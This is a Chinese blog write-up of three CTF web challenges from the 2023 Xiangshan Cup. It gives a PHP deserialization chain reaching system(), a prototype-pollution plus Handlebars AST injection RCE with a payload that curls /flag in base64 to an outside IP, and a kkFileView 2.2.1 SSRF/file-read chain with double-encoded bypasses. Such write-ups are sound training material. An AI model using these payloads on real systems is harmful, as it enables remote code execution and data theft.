首页 > 其他分享 >2023香山杯复现

2023香山杯复现

时间:2023-12-06 22:00:31浏览次数:38  
标签:__ 36% 25% 复现 2023 香山 RCE txt type

PHP_unserialize_pro

题目信息

签到题

<?php
  error_reporting(0);
  class Welcome{
  public $name;
public $arg = 'welcome';
public function __construct(){
  $this->name = 'Wh0 4m I?';
}
public function __destruct(){
  if($this->name == 'A_G00d_H4ck3r'){
    echo $this->arg;
  }
}
}

class G00d{
  public $shell;
  public $cmd;
  public function __invoke(){
    $shell = $this->shell;
    $cmd = $this->cmd;
    if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
      die("U R A BAD GUY");
    }
    eval($shell($cmd));
  }
}

class H4ck3r{
  public $func;
  public function __toString(){
    $function = $this->func;
    $function();
  }
}

if(isset($_GET['data']))
  unserialize($_GET['data']);
else
  highlight_file(__FILE__);
?>

利用思路

常规反序列化,没啥好讲的,用POST传参绕一下waf就好

<?php

class Welcome
{
    public $name;
    public $arg;

}

class G00d
{
    public $shell;
    public $cmd;
}

class H4ck3r
{
    public $func;

}


//eval($shell($cmd));
$good = new G00d();
$good->shell = "urldecode";
$good->cmd = "system(\$_POST[1]);";

$hacker = new H4ck3r();
$hacker->func = $good;


$welcome = new Welcome();
$welcome->name = "A_G00d_H4ck3r";
$welcome->arg = $hacker;

echo serialize($welcome);
// O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:9:"urldecode";s:3:"cmd";s:18:"system($_POST[1]);";}}}
?>

image.png

小结

签到题,考点是反序列化。

meow_blog

题目信息

附件给了docker-compose.yml和源码
image.png
中间件函数中的waf函数里的collection.extend()是存在原型链污染漏洞的
image.png
可以看到,这是一个类似merge的函数,而merge是原型链污染中典型的函数。
image.png
https://security.snyk.io/ 可以直接查这个包的洞的pocimage.png 另外就是题目导入了handlebars,它存在的AST注入,如果有原型链污染就可以直接RCE。
https://tyaoo.github.io/2021/09/25/Handlebars-AST%E6%B3%A8%E5%85%A5/

利用思路

环境搭建

了解到有师傅复现的时候存在困难,这里简单记录环境搭建过程。

  • 由于给了docker-compose.yml,虚拟机里docker-compose up -d可以起一个和远程题目一样的环境;
  • 便于本地调试,我在windows本机上也搭了环境(实际上可以docker exec -it 去容器里改代码,略麻烦)
    • 在package.json同级目录下,终端运行node i 安装依赖
    • 修改数据配置文件pool.js,运行init.sql文件创建数据库表
    • node app.js启动项目

collection 原型链污染

在题目环境测试POC,发现确实存在原型链污染漏洞。

// collection原型链污染
const params = {};
var collection = require("collection.js")
bad_payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
collection.extend(true,params,bad_payload)
console.log("result:"+ params.polluted)

image.png
这意味着,我们在请求中传入我们的payload,就会触发原型链污染。
image.png

Handlebars AST注入

在题目环境测试Handlebars RCE的POC,是可以正常RCE的。

// handlebars AST注入 实现由原型链污染到RCE
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
        "type": "NumberLiteral",
        "value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
    }],
    "loc": {
        "start": 0
    }
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

image.png
这意味着如果存在原型链污染漏洞,利用Handlebars AST注入即可实现RCE。

组合漏洞实现RCE

我们把Handlebars AST注入的payload作为传参,传到后台过waf的时候会触发污染,render的时候会触发AST注入,导致RCE。

{
  "aaa":{
    "__proto__":{
      "type":"Program",
      "body":[{
        "type": "MustacheStatement",
        "path": 0,
        "params": [{
          "type": "NumberLiteral",
          "value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
        }],
        "loc": {
          "start": 0
        }
      }]
    }
  }
}

image.png

{
  "aaa":{
    "__proto__":{
      "type":"Program",
      "body":[{
        "type": "MustacheStatement",
        "path": 0,
        "params": [{
          "type": "NumberLiteral",
          "value": "console.log(process.mainModule.require('child_process').execSync('curl 192.168.147.1:2333/`cat /flag|base64`').toString())"
        }],
        "loc": {
          "start": 0
        }
      }]
    }
  }
}

image.png

注意事项

payload外面再套一层,是为了bypass banProto这个函数,本地调试payload的时候能发现,忘记写了。
image.png

参考链接

星盟Web原型链污染视频
大头师傅复现计划
collection.js的原型链污染漏洞
Handlebars AST注入详解

小结

  • collection.js 的 extend存在原型链污染漏洞
  • handlebars 存在 AST注入可以RCE
  • JS无回显RCE及其运行结果的外带,记得base64免得特殊字符

sharedBox

题目信息

纯 kkfileview2.2.1 这个组件的代码审计,感觉有点怪,第一次见这种题。

利用思路

环境搭建

把漏洞环境在本地搭起来,是代码审计的第一步,通过这个路由可以判断,远程主机的版本信息。

/fileview/onlinePreview?url=http://localhost:8012/index.jsp


然后,下载对应版本的kkfileview的source code版本:kkfileview 2.2.1,idea打开文件夹,安装maven依赖;
以调试模式运行FilePreviewApplication类,环境搭建完毕。
image.png
image.png

getCorsFile AFR

image.png
image.png
但是这里实际环境中,题目用nginx过滤掉file:///了,没办法直接读文件。

onlinePreview SSRF

本来是预览文件功能,会在file目录生成预览文件以及"预览文件全称".txt,例如我这里预览上传的flag.txt
image.png
实际上就是请求下面这个路由,显示url指定的文件内容,这个路由显然可能存在SSRF漏洞
image.png
同时在demo目录同级目录生成下面两个文件,通过上面的路由可知,我们访问这俩文件只需 http://xxx/flag.txt
image.png

AFR+SSRF 组合漏洞

我们用getCorsFile去读指定文件的内容,再通过onlinePreview去预览该文件,这样在服务器上就会保存我们getCorsFile读取文件的内容的结果,再用getCorsFile去读保存结果的文件,即可实现任意文件读取。
同时由于SSRF是两次访问URL,可以通过URL双编码即可绕过nginx的过滤;
getCorsFile.txt是为了让它识别成支持格式后缀,这样预览的时候才会在服务端生成文件。

/onlinePreview?url=http://localhost:8012/getCorsFile.txt?urlPath=file:///D://flag.txt
/onlinePreview?url=http://localhost:8012/getCorsFile.txt?urlPath=%25%36%36%25%36%39%25%36%63%25%36%35%25%33%61%25%32%66%25%32%66%25%32%66%25%34%34%25%33%61%25%32%66%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%34%25%37%38%25%37%34

image.png
最后访问一下读到结果的文件即可,文件名就是getcorsFile.txt,加%09绕过一下虚空过滤

http://localhost:8012/%09getcorsFile.txt

image.png

参考链接

大头师傅的复现计划

小结

  • kkfileview2.2.1 有SSRF和AFR漏洞,结合起来可以实现能bypass一些过滤的AFR

标签:__,36%,25%,复现,2023,香山,RCE,txt,type
From: https://www.cnblogs.com/jasper-sec/p/17880640.html

相关文章

  • 中华武数杯复现
    Aerocraft题目信息给了附件,就是一个springboot项目,直接idea打开即可。看下比较关键的几个依赖。<dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId></......
  • 2023-2024 20231313《计算机基础与程序设计》第十一周学习总结
    2023-202420231313《计算机基础与程序设计》第十一周学习总结作业速达作业课程班级链接作业要求计算机基础与程序设计第十一周学习总结作业内容计算机科学概论第15,16章《C语言程序设计》第10章并完成云班课测试,计算机网络,网络拓扑,云计算,网络安全,Web,HTML,CSS,Jav......
  • RuoYi--------漏洞复现
    1、前台shiro默认key导致反序列化命令执行工具:shiro反序列化漏洞综合利用工具增强版或LiqunKi2、后台sql注入(需要管理员权限)第1处:点击角色管理,并抓包数据包如下Poc:POST/system/role/listHTTP/1.1Host:ipContent-Length:205Accept:application/json,text/j......
  • 盘点2023年度安防监控行业发展:安防监控技术取得哪些进展?
    随着科技的不断发展,安防监控行业也在迅速进步。在今年一年中,安防监控行业的发展也取得了长足的进步。随着2023年渐近尾声,本文将对2023年安防监控行业的发展进行一个盘点和简单的剖析。1)高清监控设备的发展越来越受到重视随着人们对安全监控的需求不断提高,传统的监控设备已经无法满......
  • 北森2023半年报洞察:中国HCM SaaS市场的未来,只能是北森
    作者|曾响铃文|响铃说中国的HCMSaaS市场处在了一个不尴不尬的状态,尽管前景广阔,但是需求却迟迟未能爆发,整体行业卡在了一个明显的瓶颈期。其中,又以北森的处境最为典型。根据IDC发布的《IDC中国人力资本管理(HCM)SaaS市场2023上半年跟踪报告》,在2023上半年,北森以15.3%的市场份额持......
  • 2023.12.6日报
    今天主要学习了设计模式的七大原则以下内容都为自己学习完后的总结和盲敲,也是测试一下自己到底记住了多少首先是单一职责原则,指的是某一个类的功能应该专一,而不应该多而杂什么意思呢,例如我们写一个javaweb,应该分不同的功能类,各司其职,例如有连接数据库的DBUtil、处理数据的Dao,......
  • 「GIS数据」下载全国的GeoJSON、shp格式数据(精确到乡镇街道级)-2023年12月更新
    发现个可以免费下载全国 geojson 数据的网站,推荐一下。支持全国、省级、市级、区/县级、街道/乡镇级以及各级的联动数据,支持导入矢量地图渲染框架中使用,例如:D3、Echarts等geojson数据下载地址:https://geojson.hxkj.vip该项目github地址:https://github.com/TangSY/echarts-m......
  • 2023最新高级难度react面试题,包含答案。刷题必备!记录一下。
    好记性不如烂笔头内容来自面试宝典-高级难度react面试题合集问:如何实现React中的组件缓存策略?在React中,我们可以使用多种策略来实现组件的缓存,包括但不限于以下几种方法:使用React.memo()React.memo()是一个高阶函数,它可以接收一个组件作为参数,并返回一个新的组件。......
  • 2023.12.6——每日总结
    学习所花时间(包括上课):9h代码量(行):0行博客量(篇):1篇今天,上午学习,下午学习;我了解到的知识点:1.jfinal明日计划:学习......
  • 2023最新中级难度Angular面试题,包含答案。刷题必备!记录一下。
    好记性不如烂笔头内容来自面试宝典-中级难度Angular面试题合集问:Angular是什么?请简要介绍一下Angular框架的特点和优势。Angular是一个由Google维护的开源前端框架,用于构建高效、动态和响应式的单页面Web应用程序。它最初在2010年作为AngularJS发布,并于2016年进行了重写......